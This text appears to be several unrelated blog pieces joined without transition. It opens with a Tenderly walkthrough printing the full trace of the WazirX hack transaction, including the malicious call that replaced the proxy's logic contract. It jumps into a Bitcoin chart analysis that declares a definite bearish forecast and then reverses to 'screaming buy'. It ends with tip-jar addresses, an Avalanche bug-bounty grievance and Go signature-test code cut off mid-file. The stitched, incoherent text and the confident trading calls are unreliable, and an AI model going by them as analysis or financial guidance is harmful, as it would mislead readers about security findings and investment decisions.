Assuming you've already signed up for an account on Tenderly (they provide a free trial for new users for 14 days before restricting some features), this will be our best source for debugging the full transaction trace.

We're going to proceed forth with a free account for the sake of brevity (sorry, Tenderly, we're on a budget - but if you'd like to throw a free membership, that would be greatly appreciated!).

Seriously though, if you got the chance, make sure you go ahead and grab a Tenderly subscription / membership if you need to do anything even peripherally related to these activities in the blockchain space.

Once we're at the dashboard, we can go setup a virtual testnet, which will be based on a fork of the target network (Ethereum) at its current height (at the time of writing), which is well beyond the time of the hack. Don't worry though, if we need to revert the state of the blockchain to an earlier point in time, we'll be able to do so without any issue (you'll understand why this was mentioned later on).

First, we're going to add some of the relevant contracts to our dashboard. See the truncated list of contracts we're going to provide below:

• 0x27fd43babfbe83a81d14665b1a6fb8030a60c9b4 (WazirX main proxy contract)

• 0xd9Db270c1B5E3Bd161E8c8503c55cEABeE709552 (Logic Contract/Singleton for the Main Proxy)

• 0xf48f2B2d2a534e402487b3ee7C18c33Aec0Fe5e4 (Fallback Handler for the Contract)

• 0xfbffef83b1c172fe3bc86c1ccb036ab9f3efcaf2 (this is the attacker contract that was involved in the OG malicious transaction that ultimately compromised the WazirX main proxy contract)

If you're feeling ambitious/productive, then you can go ahead and hunt down the factory contracts that some of the proxies were deployed from as well as the contracts responsible for the deployment (where this is applicable)

Now that we have the contracts added, let's take a renewed look at the stack execution trace for the main hack that occurred.

This requires having an RPC endpoint that we can query to get the full trace of the transaction. Since we have Tenderly, that's not an issue. On the lefthand side on the panel menu, there's an option that reads, 'Node RPCs'.

If we select that option, then we'll see an option to Create Node. Once we click on that, we just navigate through the interface and then select the appropriate options.

Once a node is created, users are taken to the following 'home screen' for their personal node (RPC endpoint).

On the lefthand side of the panel, we can see an option called 'RPC Builder'. We're going to select that option and then pull up the following screen.

From here, we're going to select an RPC option called tenderly_traceTransaction. Its stated that this RPC call, "Replays transaction on the blockchain and provides information about the execution, such as status, logs, internal transactions, etc."

For those not as savvy with the terminal, all that one needs to do is edit the params key with the value of whatever transaction ID they're looking to receive a stack execution trace for (which in this case is 0x48164d3adbab78c2cb9876f6e17f88e321097fcd14cadd57556866e4ef3e185d).

If done correctly, your screen should look as follows:

When we click the 'Run' button located at the top right, then we'll receive the full, detailed trace.

That trace should look like the following:

{
  "id": 0,
  "jsonrpc": "2.0",
  "result": {
    "status": true,
    "gasUsed": "0x11f43",
    "cumulativeGasUsed": "0x11f43",
    "blockNumber": "0x1363c2d",
    "type": "0x2",
    "logsBloom": "0x00000000400000000000000000000000000000000000000000000000040000002000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000",
    "logs": [
      {
        "name": "ExecutionSuccess",
        "anonymous": false,
        "inputs": [
          {
            "value": "0x4e82121a3bc2fb62c0b06ab5fff5ca965ceab4f51cc949c6e50d85ed63e6aa70",
            "type": "bytes32",
            "name": "txHash",
            "indexed": false
          },
          {
            "value": "0",
            "type": "uint256",
            "name": "payment",
            "indexed": false
          }
        ],
        "raw": {
          "address": "0x27fd43babfbe83a81d14665b1a6fb8030a60c9b4",
          "topics": [
            "0x442e715f626346e8c54381002da614f62bee8d27386535b2521ec8540898556e"
          ],
          "data": "0x4e82121a3bc2fb62c0b06ab5fff5ca965ceab4f51cc949c6e50d85ed63e6aa700000000000000000000000000000000000000000000000000000000000000000"
        }
      }
    ],
    "trace": [
      {
        "type": "CALL",
        "from": "0xd967113224c354600b3151e27aaba53e3034f372",
        "to": "0x27fd43babfbe83a81d14665b1a6fb8030a60c9b4",
        "gas": "0x2c9f8",
        "gasUsed": "0xb4eb",
        "value": "0x0",
        "input": "0x6a761202000000000000000000000000fbffef83b1c172fe3bc86c1ccb036ab9f3efcaf20000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000014000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001a00000000000000000000000000000000000000000000000000000000000000024804e1f0a000000000000000000000000ef279c2ab14960aa319008cbea384b9f8ac35fc60000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001043da7c6bd7c130430cf662de3d9af067c4a0629f849e29003c40ad3979cd670720c3ceb3a61e38fb7166353e3262eb6554c3f6571807cf22f9bdc4a83a56441661f8e64a89386af2f223b8433a1df65db8f0ff60544b2f02c56ec02b640d6fb15a11f7dffda5b99b0292b5e02d0cc44508d7d8f994515358e9da3016d8098b2258820000000000000000000000000d967113224c354600b3151e27aaba53e3034f37200000000000000000000000000000000000000000000000000000000000000000140082eba0f71627a3451d47132b8f4c266bc9be2bebe4424848757d10f13e76963af0b543a2357765d9f290410e919301ad065f0f2efa1233eb8634c93111f0e2000000000000000000000000000000000000000000000000000000000",
        "decodedInput": [
          {
            "value": "0xfbffef83b1c172fe3bc86c1ccb036ab9f3efcaf2",
            "type": "address",
            "name": "to",
            "indexed": false
          },
          {
            "value": "0",
            "type": "uint256",
            "name": "value",
            "indexed": false
          },
          {
            "value": "0x804e1f0a000000000000000000000000ef279c2ab14960aa319008cbea384b9f8ac35fc6",
            "type": "bytes",
            "name": "data",
            "indexed": false
          },
          {
            "value": 1,
            "type": "uint8",
            "name": "operation",
            "indexed": false
          },
          {
            "value": "0",
            "type": "uint256",
            "name": "safeTxGas",
            "indexed": false
          },
          {
            "value": "0",
            "type": "uint256",
            "name": "baseGas",
            "indexed": false
          },
          {
            "value": "0",
            "type": "uint256",
            "name": "gasPrice",
            "indexed": false
          },
          {
            "value": "0x0000000000000000000000000000000000000000",
            "type": "address",
            "name": "gasToken",
            "indexed": false
          },
          {
            "value": "0x0000000000000000000000000000000000000000",
            "type": "address",
            "name": "refundReceiver",
            "indexed": false
          },
          {
            "value": "0x3da7c6bd7c130430cf662de3d9af067c4a0629f849e29003c40ad3979cd670720c3ceb3a61e38fb7166353e3262eb6554c3f6571807cf22f9bdc4a83a56441661f8e64a89386af2f223b8433a1df65db8f0ff60544b2f02c56ec02b640d6fb15a11f7dffda5b99b0292b5e02d0cc44508d7d8f994515358e9da3016d8098b2258820000000000000000000000000d967113224c354600b3151e27aaba53e3034f37200000000000000000000000000000000000000000000000000000000000000000140082eba0f71627a3451d47132b8f4c266bc9be2bebe4424848757d10f13e76963af0b543a2357765d9f290410e919301ad065f0f2efa1233eb8634c93111f0e20",
            "type": "bytes",
            "name": "signatures",
            "indexed": false
          }
        ],
        "output": "0x0000000000000000000000000000000000000000000000000000000000000001",
        "decodedOutput": [
          {
            "value": true,
            "type": "bool",
            "name": "success",
            "indexed": false
          }
        ],
        "subtraces": 1,
        "traceAddress": []
      },
      {
        "type": "DELEGATECALL",
        "from": "0x27fd43babfbe83a81d14665b1a6fb8030a60c9b4",
        "to": "0xd9db270c1b5e3bd161e8c8503c55ceabee709552",
        "gas": "0x2abe6",
        "gasUsed": "0xa187",
        "input": "0x6a761202000000000000000000000000fbffef83b1c172fe3bc86c1ccb036ab9f3efcaf20000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000014000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001a00000000000000000000000000000000000000000000000000000000000000024804e1f0a000000000000000000000000ef279c2ab14960aa319008cbea384b9f8ac35fc60000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001043da7c6bd7c130430cf662de3d9af067c4a0629f849e29003c40ad3979cd670720c3ceb3a61e38fb7166353e3262eb6554c3f6571807cf22f9bdc4a83a56441661f8e64a89386af2f223b8433a1df65db8f0ff60544b2f02c56ec02b640d6fb15a11f7dffda5b99b0292b5e02d0cc44508d7d8f994515358e9da3016d8098b2258820000000000000000000000000d967113224c354600b3151e27aaba53e3034f37200000000000000000000000000000000000000000000000000000000000000000140082eba0f71627a3451d47132b8f4c266bc9be2bebe4424848757d10f13e76963af0b543a2357765d9f290410e919301ad065f0f2efa1233eb8634c93111f0e2000000000000000000000000000000000000000000000000000000000",
        "decodedInput": [
          {
            "value": "0xfbffef83b1c172fe3bc86c1ccb036ab9f3efcaf2",
            "type": "address",
            "name": "to",
            "indexed": false
          },
          {
            "value": "0",
            "type": "uint256",
            "name": "value",
            "indexed": false
          },
          {
            "value": "0x804e1f0a000000000000000000000000ef279c2ab14960aa319008cbea384b9f8ac35fc6",
            "type": "bytes",
            "name": "data",
            "indexed": false
          },
          {
            "value": 1,
            "type": "uint8",
            "name": "operation",
            "indexed": false
          },
          {
            "value": "0",
            "type": "uint256",
            "name": "safeTxGas",
            "indexed": false
          },
          {
            "value": "0",
            "type": "uint256",
            "name": "baseGas",
            "indexed": false
          },
          {
            "value": "0",
            "type": "uint256",
            "name": "gasPrice",
            "indexed": false
          },
          {
            "value": "0x0000000000000000000000000000000000000000",
            "type": "address",
            "name": "gasToken",
            "indexed": false
          },
          {
            "value": "0x0000000000000000000000000000000000000000",
            "type": "address",
            "name": "refundReceiver",
            "indexed": false
          },
          {
            "value": "0x3da7c6bd7c130430cf662de3d9af067c4a0629f849e29003c40ad3979cd670720c3ceb3a61e38fb7166353e3262eb6554c3f6571807cf22f9bdc4a83a56441661f8e64a89386af2f223b8433a1df65db8f0ff60544b2f02c56ec02b640d6fb15a11f7dffda5b99b0292b5e02d0cc44508d7d8f994515358e9da3016d8098b2258820000000000000000000000000d967113224c354600b3151e27aaba53e3034f37200000000000000000000000000000000000000000000000000000000000000000140082eba0f71627a3451d47132b8f4c266bc9be2bebe4424848757d10f13e76963af0b543a2357765d9f290410e919301ad065f0f2efa1233eb8634c93111f0e20",
            "type": "bytes",
            "name": "signatures",
            "indexed": false
          }
        ],
        "method": "execTransaction",
        "output": "0x0000000000000000000000000000000000000000000000000000000000000001",
        "decodedOutput": [
          {
            "value": true,
            "type": "bool",
            "name": "success",
            "indexed": false
          }
        ],
        "subtraces": 1,
        "traceAddress": [
          0
        ]
      },
      {
        "type": "DELEGATECALL",
        "from": "0x27fd43babfbe83a81d14665b1a6fb8030a60c9b4",
        "to": "0xfbffef83b1c172fe3bc86c1ccb036ab9f3efcaf2",
        "gas": "0x214ec",
        "gasUsed": "0xc2e",
        "input": "0x804e1f0a000000000000000000000000ef279c2ab14960aa319008cbea384b9f8ac35fc6",
        "output": "0x",
        "subtraces": 0,
        "traceAddress": [
          0,
          0
        ]
      }
    ],
    "stateChanges": [
      {
        "address": "0x27fd43babfbe83a81d14665b1a6fb8030a60c9b4",
        "storage": [
          {
            "slot": "0x0000000000000000000000000000000000000000000000000000000000000000",
            "previousValue": "0x000000000000000000000000d9db270c1b5e3bd161e8c8503c55ceabee709552",
            "newValue": "0x000000000000000000000000ef279c2ab14960aa319008cbea384b9f8ac35fc6"
          },
          {
            "slot": "0x0000000000000000000000000000000000000000000000000000000000000005",
            "previousValue": "0x00000000000000000000000000000000000000000000000000000000000006b6",
            "newValue": "0x00000000000000000000000000000000000000000000000000000000000006b7"
          }
        ]
      },
      {
        "address": "0x95222290dd7278aa3ddd389cc1e1d165cc4bafe5",
        "balance": {
          "previousValue": "0xfd1064e88789a744",
          "newValue": "0xfd11419f913eea44"
        }
      },
      {
        "address": "0xd967113224c354600b3151e27aaba53e3034f372",
        "nonce": {
          "previousValue": "0xb9c",
          "newValue": "0xb9d"
        },
        "balance": {
          "previousValue": "0xab9e0a1fde78eca",
          "newValue": "0xab777e165b284d3"
        }
      }
    ]
  }
}

Now that we have this full stack execution trace, we can properly assess what exactly happened here on a more thorough basis.

Daily Resolution

We're going to start with the daily resolution like we usually do to get an idea of what's going to happen in the not-so-distant future.

Since this is our time charting in a little while, let's establish a few status quos.

1. We're going with the 'Coinbase' chart for BTC/USD.

2. We're starting on the daily resolution (which means that we're looking at the 1-day chart; every candle = 1 day's worth of price data).

Beyond that, we're going to our chart mode to 'logarithmic'. We do that by first right-clicking on the price scale presented on the righthand side of our chart (where it gives us the price of our asset). Doing so, will pop up a context menu specific to this web app. In that context menu, we're going to tick the option that reads 'logarithmic'.

Purpose of Changing Our Chart Mode to Logarithmic

Our first step in charting any asset is to plot the resistance and support points. Some of those areas will require us to draw diagonal lines connecting various low's or high's in the price data that span back a few days, months or possibly even years in some cases.

Given Bitcoin's volatile price action at various points in time, it is more than likely that we'll capture price data in this span that's a substantial distance from the current price. If we stick with Bitcoin, for example, the price is ~$56,000 at the time of writing. However, just a few months prior on January 23rd, 2024, Bitcoin was floating around ~$39,000.

In less than two months from that point, the price spiked all the way up to ~$73k, representing an +88.25% increase.

Resistance and Support Points

We're going to start by applying the overhead diagonal resistance to the price action. As we'll see below, this resistance spans all the way back to June 2024 on our daily resolution.

From here, we're going to plot the underlying support at $54k.

Some Initial Takeaways

We can see that the price of Bitcoin is currently in a descending triangle, which is a bearish pattern. So that's one negative for the bulls already out the gate. Also, the overhead diagonal resistance that we plotted has been firmly established via two additional touches, reinforcing the strength of this overhead resistance.

So for those that are wondering whether Bitcoin's price action appears "bearish" or "bullish", the answer is definitively bearish if we're to judge from how the price has reacted to various support and resistance points on the daily resolution.

Update on the Descending Triangle

Its been a few days since those initial screenshots were taken. With that in consideration, let's go take a look at Bitcoin's price action relative to those resistance points that we identified above as well as the descending triangle pattern that we identified.

As we can see in the chart above, Bitcoin's price action is moving as expected. At the time of writing, it appears that the price is on a crash course toward are overhead diagonal resistance that we juste plotted. (forming one of the legs of our descending triangle pattern).

Based on the descending triangle chart pattern and general knowledge when it comes to resistance and support points, it only makes sense that we'd expect Bitcoin's price to retreat after hitting this diagonal overhead resistance.

However, nothing is a guarantee and patterns are broken all the time in the world of trading. So let's see what some of the other indicators are telling us.

Overlay Chat Indicators

Now we're going to take a look at some custom overlay indicators as well as some classic/traditional ones to get a better sense of the overall sentiment for Bitcoin in both the short and long-term.

If you're wondering what our rationale is for doing so when we determined that the resistance and support points (along with the emerging descending triangle pattern) is forecasting bearish price action.

Librehash Reversion Ribbon v2

We'll start with the Librehash Reversion Ribbon v2 first (custom indicator).

Below are some things worth noting:

1. Recently, the ribbon has 'reverted'. This means that the faster moving average has crossed above the slower one. That's a sign of a trend reversal. As we can see, this occurred on the daily resolution about 3 or so days ago (we'll identify that after this mini-section).

2. The ribbon itself is still below the histogram. However, we can see that the ribbon's direction has pivoted to ascending from its prior downward slope.

3. The histogram also reveals that the ribbon (now green & signaling bullish activity) is still expanding for each successive bar preceding it over the past 6 periods. That's pretty bullish (at least in the short-term). This signals increasing buy pressure for Bitcoin on the daily resolution during this span of time.

With those points established, let's take a look at the annotated chart formation below:

Now let's check out a few other indicators to see what they're telling us here on the daily resolution.

Exponential Moving Averages

From here, we're going to take a look at the exponential moving averages for Bitcoin (we'll cover our rationale for why we use the EMAs vs. the other moving average types).

Check out the chart below:

In the chart above we have the EMA-12 (purple), EMA-26 (green) and the EMA-50 (yellow) lines plotted out.

As we can see in the chart above, the EMA's are stacked in the following order: EMA50 > EMA26 > EMA12.

That's a bearish stack.

However, there are a few things worth noting:

1. There is an underlying support at $57.1k which is created with the EMA-12.

2. There are two overhead resistance points created by the EMA-26 and EMA-50. The EMA-26 gives us an overhead resistance at $58.3k and the EMA-50 gives us resistance at $59.6k.

3. Typically, when it comes to gauging the strength of the resistance or support conferred by EMA indicators, strength is positively correlated with the time frame of lookback on the indicator. So in laymen's terms what that means is that the longer the EMA period, the stronger the resistance or support point will be. So the EMA-50 will provide a greater resistance to price than the EMA-12 or EMA-26 would.

If we pan back out a little further and add on the EMA-100 and EMA-200 to our chart, we'll gain a lot more insight about the true status of Bitcoin's market cycle.

In the screenshot above, we have the EMA-50 (golden line), EMA-100 (red line) and the EMA-200 (blue line).

There are a few substantial observations to be noted here:

1. Death Cross Has Not Occurred: Numerous media outlets have claimed that a death cross formed or is in the process of forming over the past few weeks. As a quick refresher, a 'death cross' is symbolized by a 50 period moving average crossing below a 200 period moving average. In the article I linked here from CoinDesk, the author mentioned the alleged imminent crossing of the 50-day SMA (simple moving average) below the 200-day SMA. However, for an asset like Bitcoin we want to look at the exponential moving averages, not the SMA or other MA indicators. This is to account for the exponential change (positive or negative) in Bitcoin's price over the past 50 to 200 days.

2. All Averages are Within ~5% of the Current Price - This singular factor presents one of the most compelling cases for bulls (among all overlay indicators, resistance/support points, etc.). To be clear, when I say that all averages are within ~5% of the current price, I'm stating that among all essential EMA lookbacks (12, 26, 50, 100 and 200), the EMA that's furthest away from Bitcoin's current value only deviates from it by ~5%. Elaborating on that last point above, the EMA that is the furthest distance away from the current price action is the EMA-200. At the time of writing, its value is sitting at $60.9k.

Check that out below:

What This Means

If we pan out our charts a little bit, we can see that this price also coincides with some other notable 'tested' supports and resistance points on the daily resolution.

As we can see on the chart above, this price point has served as a tested support/resistance point 8 different times since March 2024 (that's only 6 months).

Why This is Significant

In situations where there is a major support/resistance point on an asset's price chart and that asset happens to break through that support or resistance with opposing force (i.e., bulls busting through a resistance; bears busting below a support), the price action typically surges from that point going forward.

Let's check out some examples of Bitcoin's price action spanning back to March 2024 in instances where the price fell below or was already below this overhead resistance and it ended up breaking through.

Here are the actual results (and specific time frames):

• February 28th, 2024-March 13th, 2024: +27.56%

• May 2nd, 2024 - May 21st, 2024: +22.82%

• July 7th, 2024 - July 21st, 2024: +21.93%

• August 5th, 2024 - August 8th, 2024: +14.13%

• August 16th, 2024 - August 25th, 2024: +11.52%

Additionally, in instances where the price had broken above this overhead resistance (converting it to a support) then faced a later correction that plunged it below the newly created underlying support, the net decline in price below that threshold has always been limited (compared to the overall descent from the price's prior localized top).

Below are some examples to emphasize what I mean:

April 30th, 2024 - May 2nd, 2024

July 4th, 2024 - July 8th, 2024

August 4th, 2024 - August 6th, 2024

August 14th, 2024 - August 15th, 2024

As we can see from the examples above, the furthest the price has corrected below the current major overhead resistance ($59k), has been approximately ~10%. Which, normally would be considered to be a steep loss. But when dealing with an asset that's as volatile as Bitcoin, this is far from anything one could consider to be a "major loss" within the scope of Bitcoin and cryptocurrency price changes.

Brief Price Update

Similar to the prior section, we're doing an intermittent update on our price analysis to see what these EMA values are reading at the time of writing and what that means for Bitcoin's price moving forward.

Below is a chart overlaid with each EMA that we discussed above:

In this chart, we have the EMA-12 (dark purple), EMA-26 (green line), EMA-50 (golden line), EMA-100 (blue) and EMA-200 (red). As we can see, all of the EMA indicators are bunched up together here, which tells us that the price hasn't deviated that much over the past 200 periods.

As we can see, the price has broken above the EMA-12, EMA-26, EMA-50 and EMA-200 (curiously), making each one of these points an underlying support now. Our overhead resistance now is posed by the EMA-100 (red line). The EMA-100 line is just below the resistance zone that we marked through the overhead diagonal downtrend resistance.

So we have two strong overhead resistance points. This is something worthy of note. Now let's go on to see the values for the rest of the indicators.

Balance of Power RSI

This indicator is a custom one that I created with a special purpose. It integrates the RSI and the normal "Balance of Power" indicator alongside an EMA indicator to smooth the values and give us an intelligible reading.

What makes the Balance of Power RSI so useful is the fact that it forecasts changes in buy or sell pressure that diverge significantly from current price action. In other words, this is a great indicator to use when you're looking to gauge true market sentiment at a given point in time.

Let's see what values the indicator is giving us at at the time of writing:

Above, we can see the Balance of Power has shot straight up and is close to breaking outside of the neutral zone (purple background).

As we can see above, the Balance of Power RSI has soared from a zone of extreme selling pressure to extreme buy pressure. Typically, this reflects a surge in bullish price action.

However, when considering the price's stagnation at the two major overhead resistance points that we identified earlier, the stagnation in price action is worth noting in light of the Balance of Power RSI's reading.

Librehash RSI(14)

Here's another custom indicator. What makes this one particularly useful is the fact that it takes the usual RSI(14) and then provides a color change for the indicator whenever an EMA(9) of the RSI(14) crosses above or below a slower exponential moving average. This methodology was made concrete back in 2018 and has proven to be a reliable measure of price action ever since.

We're going to break this down a lot further because the RSI(14) isn't reading the way you might think it is from first glance

Right now, the Librehash RSI is flashing green, which shows an increase in momentum. Additionally, the indicator has pivoted upward since September 5th, 2024.

However, we're going to take a look at one critical factor that undermines any potential bullish reading that we could extract from the RSI.

In the chart above, we can see that the RSI has made successively lower highs spanning back to July 2024. The next 'lower high' came in late August 2024. And now, a little past midway in September, we are once again seeing what appears to be an even lower high than the one immediately preceding it a month prior.

Within the scope of interpreting the RSI indicator, this should be interpreted as bearish. It signals an overall decrease in price momentum. The next question to ask ourselves now is whether this represents a continuation of an already existing bearish trend or bearish divergence.

1. Bearish Divergence - This occurs when the RSI is making 'lower highs' while the price (at the same time) is making 'higher highs'. So, for example, let's say the price of Bitcoin were $45k at the first high. Then at the second high, it was at $52k. Then at the 3rd high, it was $60k. In that scenario, we would have what's called "bearish divergence". This essentially means that the indicator is showing an underlying weakening of bullish momentum over a span of time in a way that suggests the ongoing price rally in that scenario is running out of fuel. In such cases, traders would be wise to begin looking out for potential reverses and/or events or other technical indicators that can be used to confirm the (potentially) impending bearish price action.

2. Bearish Continuation - This scenario is a bit more simple. Once again, we'll assume the Librehash RSI in our fictional example is showing the same values they are on our Bitcoin chart presently. However, when the first high was reached, the price of Bitcoin was $64k. When the RSI notched its second (lower) high, the price of Bitcoin was at $58k. And when the RSI notched its third successively lower high, the price of Bitcoin shrunk down to $54k. In that instance, we would have what's called a "bearish continuation". Simply put, the term is defined intuitively as defining a scenario where whatever bearish trend was prevailing at the time of the analysis will simply continue.

In order to assess which situation we're dealing with, we need to take a look at where the price when the Librehash RSI was notching these consecutive, successive lower highs.

As we can see in the chart above, these consecutive successively lower highs from the Librehash RSI span from July to September (currently). These events occurred on July 21st, August 25th and September 13th (just a few days ago).

Below we have Bitcoin's price (closing) on those dates:

• July 21st, 2024: $68,818

• August 25th, 2024: $64,251

• September 13th, 2024: $60,543

So we can definitively state that the price also notched lower highs that corresponded with those dates as well. So what we have here is a bearish continuation.

So that should be all for our RSI reading then, correct? Not so fast.

Conflicting RSI Signal

If you were looking carefully at the original Librehash RSI chart that we posted up, you may have noticed that while there were successively lower highs being formed by the RSI, we also saw successively higher lows at the same time.

For those that are students of technical analysis, we know that this is considered to be a bullish signal within the scope of RSI.

In case you missed it, let's go ahead and take a another look at our RSI chart below:

As we can see above, there are two successively higher lows that have been notched. They occurred on August 8th, 2024, and September 10th, 2024, respectively.

Now let's take a look at what Bitcoin's price was on those respective dates.

Bitcoin's price on those two dates (from the chart above):

• August 8th, 2024: $61,705

• September 10th, 2024: $57,645

With this information in-hand, we can now say that the RSI is also showing us bullish divergence alongside a bearish continuation. So which one will prevail?

How to Interpret these Readings

If you're confused, don't worry. We're going to break down what's going on and what this means right now. First, we're going to recap all the observations we made related to Bitcoin's RSI.

Right now we're looking at the RSI for a given price chart and we can see that it has made successively lower highs. During that point in time, the price has also notched lower highs. Also, the RSI has notched 3 successively higher lows over that same span of time. This is normally seen as an increase in buy pressure while the sell pressure has decreased gradually.

However, during those successively higher lows, the asset notched consecutive successively lower prices over that span of time too. Conventionally, this should indicate some underlying positive divergence as well.

All of this results in RSI values that make the indicator look as though it's in the 'flag' part of a pennant formation. However, the only difference here is that it's not easy for us to gauge where the price may go due to the conflicting signals given by the indicator. Therefore, we're going to have to wait until the indicator provides a value that makes it impossible for the other trend to remain true.

The reason why this must be the case is because the RSI cannot keep consistently notching lower highs while also making higher lows because, at some point, one must surpass the other.

Either the next 'lower high' must be lower than what the next higher low could be, or vice versa. Thus, based on charting logic, it stands to reason that we won't truly know how the price will move until we see the RSI 'break out' of this pennant-like formation that it is in and head either north or south of our flag formation.

To recap, what we know thus far about the RSI is that:

1. It has posed consecutive, successively lower highs over the past 3 months for a certain asset.

2. That certain asset has also had consecutive successively lower price values that have coincided with these lower highs of the RSI. We understand this to be indicative of a bearish continuation within the scope of interpreting the RSI indicator.

3. During this same span of time, the RSI has also notched consecutive successively higher lows for a certain asset.

4. At the times that those consecutively higher lows were notched, the price of this certain asset was consecutively lower. That means that in this scope of our RSI interpretation, we can detect bullish divergence in the price action.

Conclusion

With all things considered, the overall forecast for Bitcoin here in this price analysis is bearish. Even though many of our indicators are giving readings close to the overbought / extreme buy pressure range, that still doesn't nullify the existence of a remarkably strong overhead diagonal downtrend resistance, coupled with the overhead resistance posed by the EMA-100.

Beyond that, there's also the fact that Bitcoin is in a bearish chart formation (descending triangle) that has been playing out according to script at this point.

With that being said, we're going to go ahead and chart our proposed short on Bitcoin. In the time it took me to get around to writing this conclusion, I discovered that Bitcoin had broken above its overhead diagonal resistance (surprise, surprise).

Let's check out the most recent price action.

With that being said, I’m going to have to revise my initial analysis and flip this over to bullish. Bitcoin broke above a major overhead diagonal downtrend resistance. And it did so with volume. Plus the candles are looking strong too. Everything I see here is screaming buy at this point. These are all the bullish signals we were looking for when this analysis was first done.

So everything we said about the lower highs has been invalidated. The higher lows are no longer relevant as well. What we have now is bullish divergence. That, coupled with Bitcoin’s break above the overhead resistance, is extremely bullish.

Therefore, our R/R on this trade is as follows:

Since Avalanche chose to screw me out of a $10k bug bounty, I've elected to publish this research for free for the benefit of the community. While I have no problem doing so, the key to being able to continue publishing such research is sustainability.

Thus, I have a tip jar (Bitcoin) hosted here for all those that would like to show their appreciation or simply contribute. Thanks!

Bitcoin: 1HJTmhDovvLTWosyucb2dEFKJwWAfQqKn2

ETH: 0xa84c0ae8c7aea26e5956c3b5febd167c93be0d05

Sadly, it's come to this. After reporting a potent issue in the Golang cryptographic library used by Avalanche on February 14th, 2023, I expected that the team was going to address this issue since it was so obvious and well-documented.

I'm not going to waste too much time re-summarizing the core issue at hand since they've already been covered ad nauseum in the Telegram channel and in previous posts on this blog.

AvalancheGo Does Not Generate Proper Signatures

We're going to prove that the AvalancheGo does not generate signatures properly. The AvalancheGo main repo can be found here.

Instructions:

1. git clone https://github.com/ava-labs/avalanchego.git

2. cd avalanchego

3. cd main

Once in the main/ directory, we're going to run rm -r main.go. We're going to replace this file with another one that I wrote to directly test the signatures generated with the repo.

I have that file hosted on GitHub as a gist. For those too lazy to visit, the source code is published below:

package main

import (
  "encoding/hex"
  "fmt"

  "github.com/ava-labs/avalanchego/utils/crypto"
)

func main() {
  // Hexadecimal private key
  privateKeyHex := "eeac0e3d8f0fcc32a553cc5ab8dad48a435bb4c047d95b06eb7a29a4a823e87c"

  // Parse the private key
  privateKeyBytes, _ := hex.DecodeString(privateKeyHex)

  // Create a new private key object from the parsed bytes
  // factory := &FactorySECP256K1R{}
  factory := &crypto.FactorySECP256K1R{}
  privateKey, err := factory.ToPrivateKey(privateKeyBytes)
  if err != nil {
    panic(err)
  }

  // Print the private key in hex format
  fmt.Printf("Private key: %x\n", privateKeyBytes)

  // Derive the public key from the private key
  publicKey := privateKey.PublicKey()

  // Print the public key in hex format
  fmt.Printf("Public key: %x\n", publicKey.Bytes())

  // Sign a message using the private key
  message := []byte("avalanchesignature")
  signature, err := privateKey.Sign(message)
  if err != nil {
    panic(err)
  }

  // Parse the signature
 // r, s, v, err := parseSignature(signature)
 // if err != nil {
 //   panic(err)
 // }

  // Print the signature and its components
  fmt.Printf("Signature: %x\n", signature)
//  fmt.Printf("r: %d\n", r)
//  fmt.Printf("s: %x\n", s)
//  fmt.Printf("v: %d\n", v)
}

Once we have the code, we're going to copy/paste it into the main/ directory and name it main.go.

Brief Explanation of What This Code Does

1. This code takes a hexadecimal private key (eeac0e3d8...823e87c).

2. The key is parsed.

3. We create a new private key from the parsed bytes using factory := &crypto.FactorySECP256K1R. I'm mentioning this part to make it clear that we're using the AvalancheGo library specifically (which we have linked in the header underneath the import statement).

4. The code then uses that same library to derive the public key from said private key.

5. We then sign a message. That message is avalanchesignature.

6. Code to parse the signature was omitted due to time constraints and it being slightly outside of the scope of what we need to do here

7. Signature is created with the private key signing over the message we identified in step 5. The function called to perform the signing operation is Sign, which is a call directly to the AvalancheGo library cited at the top in the import statement.

Iterating the Code

Assuming you all have edited main.go all you have to do now is enter the command: go run main.go.

This will result in the following output being spit back out at you:

Most importantly, we have the CompactSignature in DER format.

Expanding that value to derive the serialized DER hash yields us: 3045022100c5d2d9a05c2cdb34f4260dd18ba52eb5b041c8edb52eb9bae9b0743580adb9c302202f092fc8ae6fa720ebd99894ce9d7fcc473be582959eed8b9ac0b9a0c9265f06.

We'll see a bit further along that this signature, while valid, is not in accordance with the RFC6979 standard.

Comparing the Hash Produced to Decred's Library

Even though Decred is listed in the header of the secp256k1r.go file as an import, very little of the code pulls from functions in that library.

This is worth noting because when the Avalanche team sent me a longform documented response to the "claims" I had raised, they erroneously (and falsely) claimed that their library inherited several functions from this library that it in fact, didn't.

Below is an excerpt from that communication.

The two functions in the screenshot above that the team referenced are Sign and SignHash.

This clearly isn't the case and proving otherwise was a trivial task handled through VSCode (see below).

The function takes us to the AvalancheGo Golang package.

Some functions derive from the Decred library, but this is not the library that governs how the secp256k1 signatures are formed.

This is a critical distinction to make because it is one of the chief claims that the Avalanche team made in their denial of the real attack vector their project faces.

Comparing Decred Signatures vs. Avalanche

The Decred code properly formulates signatures in accordance with RFC6979. As noted in one of the other reports published, the Avalanche team claimed that their code also provided such signatures. However, this is not true.

As a brief Proof of Concept for this issue, I took the same private key and message to be signed that you all saw earlier and produced a DER-encoded signature output that was different from what we saw with Avalanche's code.

That code can be found here.

Below is the literal code produced to create the signature.

package main

import (
    "encoding/hex"
    "fmt"

    "github.com/decred/dcrd/dcrec/secp256k1/v3"
    "github.com/decred/dcrd/dcrec/secp256k1/v3/ecdsa"
)

func main() {
    // Hexadecimal private key
